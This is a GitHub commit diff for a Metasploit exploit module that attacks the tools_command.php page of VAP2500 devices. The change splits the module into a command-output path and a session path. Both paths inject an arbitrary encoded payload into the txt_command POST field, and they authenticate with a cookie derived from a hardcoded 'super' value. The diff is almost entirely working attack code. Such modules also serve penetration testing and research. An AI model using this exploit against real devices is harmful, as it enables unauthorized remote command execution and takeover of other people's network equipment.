Skip to content

Commit f37ac39

Browse files
committed
Split exploit cmd vs exploit session
1 parent e1d1ff1 commit f37ac39

File tree

1 file changed

+31
-3
lines changed

1 file changed

+31
-3
lines changed

modules/exploits/linux/http/vap2500_tools_command_exec.rb

Lines changed: 31 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,12 @@ def initialize(info = {})
3939
'Payload' =>
4040
{
4141
'DisableNops' => true,
42-
'Space' => 1024
42+
'Space' => 1024,
43+
'Compat' =>
44+
{
45+
'PayloadType' => 'cmd',
46+
#'RequiredCmd' => 'generic perl ruby python bash telnet'
47+
}
4348
},
4449
'Platform' => 'unix',
4550
'Arch' => ARCH_CMD,
@@ -74,13 +79,20 @@ def exploit
7479

7580
print_status("#{peer} - Exploiting...")
7681

77-
uri = '/tools_command.php'
82+
if datastore['CMD']
83+
exploit_cmd
84+
else
85+
exploit_session
86+
end
87+
end
88+
89+
def exploit_cmd
7890
beg_boundary = rand_text_alpha(8)
7991
end_boundary = rand_text_alpha(8)
8092

8193
begin
8294
res = send_request_cgi({
83-
'uri' => uri,
95+
'uri' => normalize_uri('/', 'tools_command.php'),
8496
'vars_post' => {
8597
'cmb_header' => '',
8698
'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}"
@@ -101,4 +113,20 @@ def exploit
101113
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
102114
end
103115
end
116+
117+
def exploit_session
118+
begin
119+
send_request_cgi({
120+
'uri' => normalize_uri('/', 'tools_command.php'),
121+
'vars_post' => {
122+
'cmb_header' => '',
123+
'txt_command' => "#{payload.encoded}"
124+
},
125+
'method' => 'POST',
126+
'cookie' => "p=#{Rex::Text.md5('super')}"
127+
}, 3)
128+
rescue ::Rex::ConnectionError
129+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
130+
end
131+
end
104132
end

0 commit comments

Comments
 (0)